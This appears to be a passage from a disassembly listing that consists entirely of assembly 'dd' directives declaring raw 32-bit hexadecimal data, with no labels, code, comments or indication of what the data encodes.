		dd 17601C1h, 0AF9CC306h, 61BF408Ah, 0CE0B499Ah,	485BBBEBh
		dd 3B13C5A0h, 7B85C260h, 8C9C4070h, 30C0487Ch, 8B598D84h
		dd 0A00148C8h, 133E3407h, 1C823B80h, 5E204BFBh,	4BD250A5h
		dd 91E420E3h, 0EB00EA63h, 1548FDA4h, 7C49E73Ah,	136B058Ch
		dd 0C425987Eh, 0B9700480h, 5DF08293h, 3E0A84D1h, 0A209C88Eh
		dd 5CA4C898h, 0F50600A5h, 0E7D97477h, 0B00750C1h, 0D37BE69Ah
		dd 0E9438517h, 8107DABBh, 8B965624h, 875420h, 804E7D6Ch
		dd 2BF0AB8Ch, 0A38F0100h, 9CB45ACBh, 0CE2901F1h, 31E859C3h
		dd 0FAE444A4h, 57383h, 9D7D6881h, 0B9FFCFF7h, 19C09174h
		dd 0A1E12560h, 0B8BD003Ch, 239BBA42h, 0DB55E951h, 5ECFE494h
		dd 77C23C00h, 16DAA70h,	52820B78h, 0C02008EDh, 0CBEE28E5h
		dd 800E980Bh, 93B09370h, 0CFB6A8A9h, 7499857h, 0B223F560h
		dd 246772A7h, 8A6DA440h, 975EE500h, 7F9B3273h, 80689471h
		dd 818B60E2h, 0C6013A9Ah, 0ED33F443h, 99F0837Ch, 40DA2427h
		dd 518A0080h, 0BD989B84h, 0E3E2D9C0h, 74A32031h, 0C12800E0h
		dd 9E21E73Dh, 4632AEDBh, 0D2E329C4h, 604000C0h,	0C48C179h
		dd 0A7003C95h, 5B8AD0D3h, 25B432C3h, 0A810847Bh, 0B6481858h
		dd 19BA00D8h, 0FB6E5BCEh, 75A92CEDh, 0DE2F0060h, 0E3033E88h
		dd 0AD544A07h, 9089AEB2h, 48DE3AA0h, 0A102B4AAh, 5579887Ah
		dd 0E60004E4h, 93BC521h, 84D901Fh, 69BFC9CAh, 12A7DC40h
		dd 808EFF93h, 62003046h, 4752BC7Dh, 4096017Ch, 0CEDD1A01h
		dd 0A512D787h, 3504C87Ah, 0DE107654h, 0D1EB1382h, 63CB0340h
		dd 12AABBF2h, 37004471h, 8B7DA87Bh, 0C3830205h,	0E66AD2EEh
		dd 8257C41h, 5320B47Ch,	0BECB76A0h, 0AA386900h,	0C12511DFh
		dd 0B81D4C51h, 26623302h, 0A8449379h, 38AAB700h, 0EACD577Ah
		dd 9E3D06F4h, 0E0FF58C2h, 0E4008C76h, 125A0EB4h, 58AB53E8h
		dd 0EC806455h, 48696777h, 54419D00h, 0BFE8E01Bh, 0C3FE3E02h
		dd 0E481450h, 3FD6C968h, 0BAEBB420h, 70028815h,	7AD906EDh
		dd 50E8E453h, 0FB01A475h, 3433DEE9h, 0E990FC00h, 2E4363D5h
		dd 13B87B48h, 30045434h, 0A54AD8FFh, 0B2893E18h, 0F58080A3h
		dd 52E2A97Ch, 2F590200h, 10BFAEA7h, 28AC4BCFh, 7B0F4468h
		dd 0F073123h, 680B93FAh, 0A5C86BB1h, 1738B8E4h,	0B6FE04h
		dd 2CF3F916h, 3600D827h, 13E60D30h, 93F1A3Bh, 2D4EBBBEh
		dd 5C01C8EEh, 0C272226Fh, 80F7A812h, 521C6DCh, 0C9B8E2E6h
		dd 41FCC0EBh, 792DCF33h, 0DE18802Ah, 0BD684CBh,	3B767ADDh
		dd 740F9C64h, 40556728h, 62C532CDh, 0E275003Ah,	0B54FAB95h
		dd 0FF05E08Bh, 0E78856FEh, 18F24C8h, 3F54877Fh,	25B99843h
		dd 0D5A3D920h, 414B70D0h, 9560BE1Ch, 5E59142h, 56744037h
		dd 0FA070701h, 903CC47Dh, 314046F3h, 75EB9502h,	0E4F2FFCEh
		dd 0F67704FCh, 0F43DAF05h, 20981208h, 0F5CE6F0Dh, 54202945h
		dd 53481F52h, 0BBCB0174h, 330655BAh, 578300CCh,	40102F0Bh
		dd 486F2E3h, 0B011CF50h, 8D28C8E2h, 0E8AE690Eh,	65E9E02Fh
		dd 5A0F382h, 0BA6C98F8h, 0E0688988h, 903267EBh,	26E19845h
		dd 614E583Ah, 0CEF6B020h, 0A19400A6h, 0B3C6E6D8h, 0E709472Dh
		dd 5172C401h, 0C03D1E30h, 0BE51FE82h, 530042D9h, 0B360C44Ch
		dd 2CB00EA8h, 40BCA510h, 0E4AECF68h, 2CAC6300h,	7A4BA8D6h
		dd 0FDBA0AADh, 0EB01C8Ah, 3DE352h, 0B3DCCF5Eh, 702E7A32h
		dd 39005701h, 91D0D603h, 8CD8A8B7h, 652E00F8h, 858AC1FEh
		dd 201EBD5h, 8DB541F2h,	0FC88F72h, 6CCE51DAh, 27966C60h
		dd 78A0693Bh, 5F5133A2h, 84AC1A50h, 0E9032C17h,	8827A421h
		dd 2CF47920h, 97C6451h,	1810911Ch, 5403EFBAh, 4840E068h
		dd 58108931h, 8250FCh, 65DE2EEDh, 4ED039E7h, 33DB2909h
		dd 54C5A56h, 883F78EFh,	0AA418171h, 1C286331h, 0CE805C6Ah
		dd 0BA63447Ch, 1CAD0630h, 0C9804FBBh, 4C4E685Ah, 8FA40006h
		dd 1F9FC4DBh, 9432AEDDh, 9200705Eh, 84094FC7h, 694A123Fh
		dd 0F72C5C40h, 37AADF1h, 8AE5A095h, 49D0A239h, 42045C52h
		dd 0FBCF17ABh, 2E0538A2h, 0CCC3EA62h, 54009AE8h, 0CBF2E94Eh
		dd 5087BB7Dh, 0F16050F8h, 0B4B62A00h, 0E957E426h, 67326E00h
		dd 75C318h, 0D1E5554Fh,	4C9371E6h, 7EA0393Ah, 0B6F1EB00h
		dd 312E40C3h, 0A03B48AFh, 89AC0B96h, 885E8C18h,	3B68A003h
		dd 0CCAC20B1h, 0C78CF4h, 88C87AE8h, 5653F13Fh, 0A4F851Fh
		dd 0D5014992h, 0E12766DBh, 88C55020h, 3500527Dh, 0E28AF508h
		dd 4D8295Dh, 711A06B0h,	219E85D1h, 0E8E3A23Ch, 550188F3h
		dd 0D41DDAEh, 0E8F449C7h, 0E5B9005Ah, 0FA06A283h, 0BA880568h
		dd 515E0290h, 7512F7C3h, 93CF8060h, 6C0E0B2Eh, 0E7337A05h
		dd 0F4D33CF4h, 351762Fh, 703B0E48h, 99F835DBh, 0CA12137Eh
		dd 0B8E17B32h, 2AE00C65h, 205A0F48h, 3A8588DCh,	0B4881241h
		dd 770027D0h, 2A472884h, 0EE9CEDh, 5999D461h, 98659EABh
		dd 6B64F900h, 0A839E64Fh, 0BA8F07E8h, 0E1C63E01h, 0C0B39918h
		dd 709988CFh, 242AAF00h, 12693E80h, 88EC5A56h, 0DA00286Ch
		dd 8AF3D815h, 746AD4D6h, 2AE90374h, 0A40F2B0Bh,	0E13FAEE8h
		dd 9E7F8D88h, 5840666Ch, 0BE897901h, 0B7382AE6h, 0CA008863h
		dd 0E0CFB89Ah, 0E007234h, 0C1107F96h, 756C944h,	0F56C020Bh
		dd 51415007h, 607384C6h, 0DCB17B00h, 97B001BEh,	1C1301D0h
		dd 34773623h, 2F388143h, 6BA88C9h, 80EA20h, 0E1EE85E9h
		dd 331E7F99h, 58476600h, 889DD22h, 392B3864h, 56383C30h
		dd 0E026E7AAh, 9027DF7h, 401795A2h, 6B0A996h, 0AC807396h
		dd 0F20369CEh, 413113B5h, 0CC790567h, 6A0847Ah,	29FC07E2h
		dd 0BA4F5D00h, 35C2B121h, 773F1C94h, 0B442C07Dh, 0ACFDFFC1h
		dd 0F92EC330h, 0FD65C1Bh, 2C95D5FAh, 28D86900h,	4900108Eh
		dd 53A588B5h, 0F099913Dh, 94D706F9h, 0C13ED3FBh, 67B2A900h
		dd 4996FE23h, 2CAFAF6h,	7F21608Dh, 1490E7FBh, 850095B1h
		dd 97A17C7Dh, 620BBBECh, 649F213Dh, 0E2514F60h,	8D0A16EAh
		dd 20EBFBA9h, 0D0BBB640h, 0EE6E0281h, 6A4931DBh, 0EDA2C090h
		dd 8070A505h, 8440C4AAh, 95DBE863h, 60E570D7h, 4234F138h
		dd 0E100A9FBh, 1AAB729Ah, 5824A34Bh, 5A0CF07Ah,	5841FD0Ah
		dd 5479DE00h, 4A6E98D5h, 6BFF0074h, 0F2ED772Ch,	29C0C007h
		dd 9453F0Ah, 68623806h,	6C50FD3Ah, 793363F2h, 0C7B113Fh
		dd 0E2D570Ah, 24009875h, 0C37A6D6h, 3C9D098Eh, 4C22994Eh
		dd 0ED00C82Ah, 0EA9EA765h, 49E3016Eh, 0EAC30389h, 0F9CADCB2h
		dd 0ACD0E800h, 0B4DDFEDh, 4279C408h, 0E142C094h, 0C0E3D03h
		dd 129ED7A9h, 7B735401h, 4E7049AFh, 8C395217h, 84D14737h
		dd 9364809Bh, 406BA8Dh
		dd 45F2BC4Dh, 1EAF0029h, 4A6A113Dh, 3B00AD55h, 76D76410h
		dd 6A72FEFh, 0C37335C9h, 17003131h, 4BEB2A9Ch, 0F5D2D7Bh
		dd 7F457A89h, 6475005h,	7959E3C0h, 70A72E00h, 2CD5F47Ah
		dd 0E8800E6h, 0C8239131h, 320F3D57h, 206994FAh,	0EE8CFCBDh
		dd 0B0B23D7Ch, 0C930075h, 48C478D3h, 920689DCh,	0B48056C5h
		dd 2E2F7C89h, 12381E05h, 87B00081h, 0E051F0D3h,	2D816E60h
		dd 0DBF83Ah, 0E1ACEC48h, 7F31F461h, 0B0868CA4h,	0D38A6FCh
		dd 1C02820Ch, 41BD64D3h, 0E13BC138h, 0B330408Ch, 730ABDFh
		dd 9D3E41FBh, 1334005Dh, 0F32E3271h, 0D3F6FAD7h, 0B0EB991Eh
		dd 0B5809085h, 88685801h, 118048C3h, 52DB55B7h,	0B900E2CBh
		dd 0B2F4A807h, 2DC264Fh, 5C19BCDEh, 0D44070AFh,	57005E08h
		dd 0AD919D31h, 5C33CCE6h, 0F224BB95h, 0B76E402Ch, 8E0096BDh
		dd 28C98573h, 50BC8D0Ah, 22D94FEh, 91A493AFh, 7063FC5Dh
		dd 0F2787CD0h, 5C029899h, 0E01DBD33h, 7593EAh, 1961517Dh
		dd 0A5B3E606h, 0C9CF0A30h, 831AAFh, 8CF48D75h, 5BD394D4h
		dd 7670E40Ah, 0D88014ABh, 78F0C81Fh, 0F2BE004Dh, 350F4146h
		dd 0D0188FBh, 75732ABCh, 9BC36980h, 21880E34h, 0D2006393h
		dd 0C44243CEh, 0F89C5802h, 40813E06h, 4B7B2F4h,	9020D651h
		dd 387CCCC3h, 856A1700h, 0E8B38CD3h, 0A75E0286h, 88E24287h
		dd 9EA28481h, 46A841F9h, 0EE747026h, 74794Ch, 0FB63430Eh
		dd 6007D5B5h, 3C2CC1E6h, 0E8034A22h, 0A795DE41h, 0E080040Eh
		dd 0C80A1789h, 44003CD0h, 11AF191Fh, 1DC701Dh, 33C75A21h
		dd 0F34102D3h, 32F3D81h, 0C3EE973Ah, 0C7CD44E9h, 6DE66FF1h
		dd 3D44824h, 0AD93900Fh, 0F9F0EFD7h, 0D49A8F82h, 335F350Ah
		dd 0E00078F2h, 0C17C2977h, 52471D62h, 0BECA8072h, 80881C0Fh
		dd 0D395E10Bh, 217B802Bh, 4C60D46Eh, 0C780C00Bh, 87FDF99Fh
		dd 92318618h, 0ECB5B930h, 509600A2h, 1B55DDA9h,	0EA24B4F1h
		dd 9012B089h, 0FD1C2801h, 4980095Fh, 0B93D26BAh, 4909509Ch
		dd 1007661Dh, 0D3CC00h,	0F5DA0FB0h, 0DFDBDCD9h,	3935011Fh
		dd 2DF8B5D5h, 15E76h, 836E5332h, 0FF58DADEh, 2753E1Ah
		dd 0FD02ACB0h, 1638A0E8h, 7236B7DAh, 80BCB12Eh,	821BE2F7h
		dd 971E96DBh, 0E0805CD9h, 945E92D3h, 7ED11B6h, 0ABB800F4h
		dd 7EAFF642h, 8E5000F8h, 21756B39h, 0FE03371Ah,	6CE899ACh
		dd 85F09B30h, 77711C80h, 29D30531h, 4054E3DDh, 0B9DB38D8h
		dd 0F3006F6Bh, 0D692407Eh, 7BDF4CA3h, 18CDFCB2h, 79F90C8Ch
		dd 610097FCh, 99908D69h, 0ABA7D0h, 0D596873h, 0C2D28AE5h
		dd 0C7C5FB51h, 0EC06100h, 28E3F479h, 0EF500112h, 0C69BAB7h
		dd 0C832F2h, 0FCCA02C3h, 7AE68D0h, 0B286BAB9h, 3BEE6016h
		dd 30F1AF5Ah, 5206E6EAh, 0C107613Ah, 451B3B91h,	70C22800h
		dd 39443173h, 2CA85758h, 0D76074A5h, 1F667D1h, 6DE87ADCh
		dd 60955428h, 4988CECCh, 749C580Ah, 0F1232403h,	0C100E2E3h
		dd 0C2F3DA19h, 26F3F8Fh, 72A8EB8h, 0AC0D349h, 0B30FDE34h
		dd 60B06094h, 0A97090F0h, 36FF01E4h, 0EA32EF0Dh, 88AF8EDh
		dd 4F001891h, 555DBE73h, 0F60F0BBh, 9B64D774h, 0FFD27760h
		dd 28984E6Ah, 122FA320h, 2DFD76Fh, 0E9477AFEh, 70B884C0h
		dd 9BA00C00h, 40D79E16h, 5B2B0549h, 0C2F3BDFBh,	2969C8h
		dd 4B54171Ch, 0FEF505BAh, 37928C90h, 296410D0h,	100F7D2h
		dd 38162C5Dh, 124E92h, 44984F4h, 2119A223h, 0A3908250h
		dd 0F70D6700h, 0F4E1FD47h, 0A62C3A48h, 0A00040CAh, 0DCF537F3h
		dd 0CCE33498h, 6F4DE86Ch, 6BBE007Ch, 0EE1DE52Ah, 50C9884h
		dd 0E125320Dh, 3408C03Eh, 70985A5Eh, 0E9E01E0Ch, 1922868h
		dd 1F02E860h, 728BE20Eh, 51990F9Ch, 5E89470Ah, 453470D0h
		dd 0E589CF6Bh, 0F029356Dh, 0AB000CAAh, 0B6464B17h, 0C0482AF3h
		dd 3F861669h, 7B17BDF2h, 30009694h, 5AECA5FCh, 0A47D5634h
		dd 0EE7A0100h, 2EAA31CCh, 0F525893Bh, 7F588100h, 67DAA909h
		dd 3998B320h, 50D07586h, 240340A7h, 0B6802655h,	90210AC8h
		dd 0C5416E2h, 49B84FDFh, 0C1FE0A88h, 2EA4B629h,	0FC72204Bh
		dd 51007EECh, 0E6F466Bh, 4C7D4C14h, 810B70FEh, 80060B4h
		dd 0E0383FA0h, 0C15A69h, 54105CA9h, 0F2060735h,	0F0579D1Eh
		dd 0CA040D05h, 2225BD04h, 0B0C8088Dh, 1DC776B3h, 94AF4224h
		dd 48118827h, 0BDE51E68h, 2808A935h, 81189D6Eh,	0BB172316h
		dd 3208F599h, 8185007Ch, 0BEE31E6h, 0A81E0141h,	13E893B2h
		dd 0E8220Ch, 0C75F6BBAh, 852DF30h, 4AD8577Ah, 0A931803h
		dd 2B2900C5h, 0CCB5B4E0h, 8F1857FCh, 128183E1h,	412300F5h
		dd 0CBE33A24h, 0BE002B08h, 7EC6D834h, 51808679h, 0C06E24B3h
		dd 0BB6847D6h, 0E97EDA03h, 73FF290h, 7518BD9h, 31D28002h
		dd 5A00C795h, 0C6BFCCE8h, 2EE0E57Bh, 10E8EF68h,	212980C3h
		dd 0A09B4F39h, 896D4498h, 81DC2076h, 9291C606h,	2519E7FBh
		dd 7820F256h, 0F07DAFD2h, 0EE9FA214h, 0E2BB09E8h, 0DD649089h
		dd 7D0E1752h, 0F2E8044Ch, 0CC24902Bh, 0AD0707D9h, 0B8701AEDh
		dd 9D00C505h, 0C40E4BF4h, 884700B9h, 0D36E8C5Ah, 6965B16Ah
		dd 7FB8010h, 20E6E52Bh,	6367FD10h, 1190C358h, 743F3F65h
		dd 0F2AC2306h, 61018936h, 7D19A8F9h, 0B426E265h, 0CD164201h
		dd 536095B4h, 0A4882B18h, 88F4B0ABh, 0D459101Dh, 0F8010C00h
		dd 0FECBA76h, 0A4EEAC31h, 0B05A79A0h, 0D8296191h, 0E00D407h
		dd 0BF2EADA1h, 179F1C32h, 0E884C648h, 0F054071h, 2D598FA2h
		dd 0FE6C8Ch, 847AF2B2h,	70469703h, 7EEC500h, 0C72148E8h
		dd 92A61AAEh, 0A412C06Eh, 0C3403820h, 0E05E08Bh, 0E1819094h
		dd 0F370888h, 0A3364A74h, 0A76204A0h, 0D52ED965h, 4C07CC73h
		dd 582C617Ah, 0E0F81818h, 73F2393Ch, 0C0205EAh,	705ED206h
		dd 244C61ACh, 0A0E10820h, 0E3E014h, 478FC084h, 3BDAC705h
		dd 4C1CAD48h, 284900D0h, 91D5502Bh, 481A05ABh, 78FBE09h
		dd 14F8DDE4h, 60E20Eh, 0B32753A4h, 1C610A84h, 868E182h
		dd 0EC07343Bh, 42F09B6Dh, 29AC0Eh, 0DE440893h, 0B6540294h
		dd 0C8F2BA2Eh, 696FDD00h, 0A228B91h, 4088E5F3h,	44BCA8ECh
		dd 0AB000E54h, 1E80ED22h, 8C9C4Fh, 0DFE25666h, 0B3B611E7h
		dd 9200D58h, 0C80AA9FCh, 0BCA654h, 8FB0D6FAh, 5AE172A1h
		dd 80F851CBh, 7AC091FBh, 77267308h, 28700031h, 0B3295036h
		dd 0F10055C6h, 0B0997BE6h, 9ED980h, 954CED58h, 97158763h
		dd 0C3DD08C3h, 9F808CE2h, 912186h, 157464DCh, 249E46FAh
		dd 6A299F61h, 40D22708h, 3B72DDh, 2B0AE2EFh, 24C3C2F2h
		dd 28629030h, 3C6C79A9h, 119E70F7h, 3C5183CAh, 48009AF9h
		dd 1AD30D9Bh, 73BE97D5h, 99A63CF5h, 0C6774F00h,	0A78AC7E0h
		dd 47562703h, 2FC393Fh,	5F8BEB39h, 40601840h, 5400495Ch
		dd 1006F2C8h, 1D61A3DDh, 0B09FED97h, 981216E0h,	0BE40B08Bh
		dd 0DA660CC6h, 9151ED3Fh, 0E1202507h, 408E1588h, 0AD453C4Dh
		dd 9C7A00F3h, 374A7ED7h, 7D0E5497h, 0DC2C3AE2h,	7BDA4700h
		dd 1597F68h, 90452A15h,	0F0B961C4h, 137E1F72h, 0F579A660h
		dd 0E28916FBh, 314292h,	67B9DCE0h, 0F6D7F011h, 0D8100085h
		dd 342554D3h, 15008C08h, 0FF2FF14Eh, 1A47E3h, 0BDEC06D1h
		dd 259CB372h, 13268206h, 699B6Ch, 7E46D5FFh, 6A699647h
		dd 22F38000h, 0D742187Fh, 4F48C093h, 133F0C20h,	151CF750h
		dd 0DA0B4000h, 0B7EA6E59h
		dd 86600044h, 0E6C9C29Ch, 492A80E1h, 0FB00A88Bh, 1319B505h
		dd 0E1A60F3h, 0BE9C2D71h, 682122A0h, 30938B4h, 20DF3C5Ah
		dd 0C4FD6430h, 66A00C8Ch, 38499C49h, 0CF0017B0h, 0FCE68F5Eh
		dd 0F576C43h, 0F8BC0478h, 0D088ADA6h, 92242A12h, 33D92840h
		dd 69C50EFh, 6D678084h,	95001857h, 923E05E0h, 0F1BF44h
		dd 0DA03D0D1h, 0B5D2918Eh, 0E651DD01h, 82D89727h, 0EB3F818Ch
		dd 0B800BEA1h, 45DF4EACh, 18E6D191h, 29994961h,	606886Dh
		dd 0E396419Ch, 4FAC0648h, 41753108h, 1A79400h, 6E256030h
		dd 645F0042h, 0DFA3B1E9h, 33A1FCAh, 75E600EFh, 24A49B2Ah
		dd 0B2BCA899h, 6F4E009Ch, 7F74EB5Dh, 1376CE47h,	1907CA71h
		dd 0A78BB053h, 346802D0h, 18FA602Ah, 0EFF9E90Ah, 0E76D7E00h
		dd 99F88C95h, 8AD44C1Fh, 19387700h, 185614FEh, 0EC906D54h
		dd 0E8B4D601h, 0F57DC228h, 0EA1BC880h, 6E5DB906h, 0B4A13F24h
		dd 74029028h, 24253563h, 0F6BCA093h, 0CABB5Bh, 50110A71h
		dd 15E6A00Eh, 86219665h, 0ED6060C0h, 9D0B3EEFh,	0AFBD5E83h
		dd 8100586Dh, 0ACE7135Bh, 5208EBh, 884EF589h, 3A583460h
		dd 77191501h, 55E96CE5h, 0C0526DFCh, 43B50C39h,	911E88BBh
		dd 0F00039CDh, 53DA6F2Ch, 4A5115CCh, 2B01D410h,	1150947Dh
		dd 0A9AAD03Bh, 313C3909h, 0DF800EC1h, 1E4FFC0h,	0FD72F604h
		dd 0E05184FDh, 0F7CB216Fh, 5E526CA0h, 30130029h, 0F847DBBEh
		dd 15035794h, 4E658220h, 536CE091h, 496458A7h, 8C8044h
		dd 0A845C79Ah, 0DA0869DBh, 0E60950E8h, 0DA43A73h, 884844C4h
		dd 0C70D7456h, 0E1ECC2E1h, 0F113E2C7h, 0F9D84811h, 796BFB00h
		dd 4AD5E9CDh, 5EA9000Fh, 0FC5CE3C6h, 0BD007DA8h, 0CF644725h
		dd 1DC994E2h, 0A72EECh,	0C4FFBB19h, 0D8995D13h,	94E5F500h
		dd 5C17454h, 4A5C6AB9h,	689C4013h, 496F5FE2h, 7B9DCB0Fh
		dd 757FA084h, 0C79424CAh, 0B06241h, 8514E079h, 6B78EB00h
		dd 17EC51FCh, 803B01C9h, 6D521FD0h, 3EC18E70h, 304091Bh
		dd 0D81547E9h, 1E555D12h, 1EE8B1h, 0FB11DF2Dh, 0E109EFCAh
		dd 5AFDE37h, 0BC001440h, 6CA7D6B2h, 1C3E0355h, 0E1C4CC9Ah
		dd 6778EA80h, 244F5601h, 6A6D8CA1h, 0E7CA7180h,	9C3FBD91h
		dd 51D1F305h, 0B840E992h, 82F03D7Fh, 0FCFF033Bh, 6972B7AEh
		dd 3C793900h, 9D2F392Bh, 0CCC13C64h, 0F7004122h, 0C38562B2h
		dd 2DA28FFh, 0E2263FE0h, 8CA0A824h, 7715B397h, 0EB89A51Fh
		dd 1A10BA80h, 2CE1F50h,	8730F08Eh, 0BC60A6CFh, 5915CB39h
		dd 0BC164Ah, 12AF3F4Fh,	0D28061h, 0A50EB37Eh, 0B5C94186h
		dd 181C5824h, 9A201A64h, 0E900E5BEh, 3DC5924Bh,	18A94E19h
		dd 599E4ABBh, 6C05FF56h, 14AC87C0h, 0D411B101h,	8420C9BDh
		dd 8030061Bh, 318A4BE3h, 0DAE81000h, 160C753Dh,	6FB000A4h
		dd 83A746D9h, 0CEFC730Bh, 27C12E1Fh, 3F262A70h,	0CA641F57h
		dd 4B7CAF10h, 0E4A6AC00h, 0F67B22h, 0CF5CBFC0h,	3B9DFA43h
		dd 8107C2E8h, 8575FB5Dh, 0D97EB480h, 2BB50017h,	52EF5FEAh
		dd 0E9065D82h, 2D63E764h, 35923C69h, 0A2A0974h,	8C5639DDh
		dd 732E4F00h, 3ABA1EFh,	62502113h, 77EF86C1h, 6BB8C0ADh
		dd 0CC376529h, 35E6482Ah, 5ECB0051h, 293AB4CAh,	10A1E363h
		dd 0C09F1034h, 0C90985Ch, 0BCC397C5h, 0F5008D19h, 0B9EA4B01h
		dd 3AFB7731h, 1206CC4Eh, 49CF106Dh, 9395F500h, 44DAFA2Bh
		dd 0EE210063h, 0A9C1CA34h, 7806A01Ah, 0D9F03FBEh, 4EE71830h
		dd 0DEAA6137h, 32C26618h, 0A09E11h, 0BDCBA3D6h,	0AB28DACh
		dd 0F3184CF2h, 1A088275h, 8FA80065h, 0AA038C6Ah, 0C8189E72h
		dd 2A40663Eh, 0CEEB0C95h, 5011B1B6h, 0A93A8807h, 0DE49B598h
		dd 284C0137h, 0DC12CBC0h, 0E6600D0Ah, 0AE443EC9h, 0DE980365h
		dd 0A85D878Ah, 3A3299D0h, 15857206h, 159139Ch, 7423549h
		dd 0D31EFDB9h, 0A8C1709Bh, 0BEFC41EBh, 0B0299F32h, 777E5940h
		dd 0F8EC4D85h, 2C570302h, 26C1D838h, 7929F900h,	3FF2729Dh
		dd 0F5FB00ACh, 67573159h, 8204C930h, 55B0F37Ah,	2C740C8Ch
		dd 0E09B4ABh, 0C0DDFF24h, 721FA6F9h, 8AC0E630h,	1B4E2789h
		dd 7FB7B79h, 5AA2650Eh,	133550C5h, 0BC12013Fh, 6507B8A9h
		dd 0C345C05Dh, 0DD2C8440h, 776F8511h, 99AD0043h, 47FF3E57h
		dd 2F0308B4h, 2D3D144Fh, 3487439h, 0E75FA1D8h, 0D1003659h
		dd 296FBA14h, 0ABE594BEh, 44C08284h, 3E503D48h,	3F64FD00h
		dd 0A5E77315h, 0E44C8D1Bh, 0A4819348h, 69308Ch,	4098BC9Dh
		dd 859EAB9Fh, 21387367h, 60D3F7D3h, 0E9AA4461h,	5438B83Ah
		dd 6B538C87h, 0F1DE02h,	0A2976D35h, 417599D9h, 223D5203h
		dd 0D66429B1h, 59B23C69h, 818F3A1Eh, 7B5B880Fh,	0E1909D52h
		dd 0A90A3424h, 2989C0C0h, 6B41668h, 0ADCBB70Ah,	30CF8093h
		dd 52019065h, 0F70CAA6Bh, 0BB180D8h, 6583295Ch,	0C6F823h
		dd 1E5B85D3h, 564A64D8h, 0EDE47E90h, 0F36B9E00h, 84E23D51h
		dd 0C90D3050h, 5A59FF79h, 0E13141Ch, 0A7CDC83h,	674980AAh
		dd 69EA018Eh, 0A96B5F6Dh, 45C2291h, 0FDF59A14h,	0DEFE4980h
		dd 25503C70h, 12C26AAh,	7FCA23BDh, 0F8669159h, 583F46E0h
		dd 3EF5DC63h, 3D90815Ch, 0BDB3CE20h, 69295986h,	727A41E5h
		dd 0A85A803Eh, 47003C92h, 0EB9A6CDDh, 1DF28DF7h, 87EAC19Fh
		dd 9A10F152h, 66BF3FBCh, 190E1AAh, 3979EAB4h, 0F16B0241h
		dd 46D450EDh, 17006A97h, 7FDFEE90h, 1614BB81h, 6D50199h
		dd 89CD10D0h, 0E5EF2E07h, 0A86A0655h, 3BCBB01h,	0D8D9CFBFh
		dd 0D6F7E451h, 3A17197h, 0E07738B2h, 1E260E8h, 0DDAAFA2Eh
		dd 59C1803Bh, 37527624h, 32B04871h, 0CE01B13Ah,	3F0AF86Eh
		dd 37BD41Eh, 0B23AA302h, 0E058968Fh, 48798D59h,	0E0221862h
		dd 0D240CF22h, 948C2080h, 7900FD29h, 854F6E3Eh,	61913BAAh
		dd 7FAD2948h, 0B78D3028h, 50329401h, 0BB911385h, 3E512180h
		dd 3D7955C6h, 0B529FF01h, 0B8147D7Bh, 298C12F8h, 8C0D61h
		dd 0BDF122A5h, 560EE162h, 9D35174Bh, 99BE3A40h,	7A5815h
		dd 231C9CE4h, 6695345Fh, 10100D24h, 0DAAC3B40h,	0A0AF0399h
		dd 0F093E14Fh, 7DA7AAA0h, 40474400h, 19638DB4h,	3D50026Eh
		dd 91D8E241h, 1065D461h, 0B5D4F330h, 70FF01C0h,	0AB240090h
		dd 60402894h, 11EB6E1h,	75AB0C3h, 0BD14D5DFh, 985900A0h
		dd 0AC9C6EC9h, 67F10FEAh, 0A402CB17h, 0ECA0CF94h, 1C6312F5h
		dd 5A167E00h, 86373108h, 0B68103A7h, 0EA2E91E1h, 0C4AF24E2h
		dd 3C001C14h, 55400996h, 0C4134B41h, 350057BAh,	0A0A32748h
		dd 0A950249h, 9B6B0E62h, 0A4F88060h, 0E2E8CB12h, 74632440h
		dd 2611C75Ch, 346696h, 320DBF65h, 3048BB5Ah, 0B4CE9E70h
		dd 2915A0F2h, 0CBE9F78Ch, 71808519h, 80E74E62h,	0BB069200h
		dd 0D3B4EED5h, 2E3E240Ah, 0BA443DBCh, 9F814201h, 0B5C888C2h
		dd 0F712B822h, 0C02C40EFh, 99382EA5h, 0EA0A19B8h, 0E8794C98h
		dd 5C01E711h, 0B1D54D89h, 0E0303014h, 0C05388h,	0BC8F02A1h
		dd 0BB4E21FDh, 54E7C828h, 3D137902h, 44B7CE1Ah,	0FC500154h
		dd 0F78FD970h, 5A046029h, 1DF57B01h, 0FA7A7588h, 16C872D0h
		dd 0E039047h, 0B2C31224h, 0B6E081D6h, 10C1FD55h, 0B1CEFC7Dh
		dd 3F5900F7h, 29DBD922h, 0BB54C2BAh, 0E30051DCh, 93FAAD41h
		dd 2978F7Dh, 11208DB9h,	0B44E50DDh, 0D501BC84h,	60307E37h
		dd 0F0915998h, 33B85BCEh, 6CA82D00h, 0AB01EBC6h, 0C4BA3900h
		dd 5D380458h, 0A4B009h
		dd 49E82FF8h, 643E4C1Ch, 58D5B63Ch, 0DF08044h, 4C8C67C4h
		dd 0ED0B3D87h, 0C7004C27h, 263405A4h, 5E08AC0Bh, 0C70100Dh
		dd 0D2EC80h, 470F8CC3h,	0E78E8F82h, 79567E17h, 0EC7C1Ch
		dd 30049500h, 5863721Dh, 818024E8h, 0C3F38C7Eh,	0C00BC700h
		dd 0BE7F94A8h, 274500A2h, 4F41814Bh, 12006119h,	0B965526Fh
		dd 76B6C8Eh, 2130639Ch,	9550C018h, 252EB241h, 5960C897h
		dd 0C3CFEh, 0FA5119B4h,	0CB3B5209h, 263DAE0Ah, 9702D417h
		dd 2765B8C8h, 3FD4B030h, 0A348328Fh, 0B210D90h,	0CBD0380Eh
		dd 9491F7h, 44C591A4h, 19B82ECAh, 81C4655Ch, 7E1A4E40h
		dd 34694450h, 0E8AD7DF9h, 4E0B02EDh, 6F837967h,	0DF007446h
		dd 0FDBD1C9Dh, 19B9C04Ah, 41294FE7h, 0F8F88081h, 0B16EF642h
		dd 0B1576191h, 0E45AC478h, 0D9031831h, 61E7639Dh, 0A390138h
		dd 5CB39B5Fh, 459C279h,	5508200h, 62B1D8h, 0A94DFDECh
		dd 3E25E38h, 9D13EB04h,	64801597h, 0B3A008h, 0C2EFD6ACh
		dd 48E71407h, 0A9DAE9C0h, 0CA789F5h, 0D5106042h, 551E2319h
		dd 0AE40BC1Ch, 49BB22ACh, 3BF101BEh, 0C66FE9EEh, 9E4FFC30h
		dd 95476426h, 102E0F04h, 0B26488h, 4A95A83Dh, 5237DDA9h
		dd 0D8D48404h, 2BC274A6h, 40708060h, 58A76526h,	2E005505h
		dd 3A8FAF09h, 0FA024713h, 0B37EA95Ah, 9864E09Bh, 0EFB40541h
		dd 262824Ah, 0FE9594A8h, 0BB4074E0h, 0CA8F884h,	0DC10CE8Dh
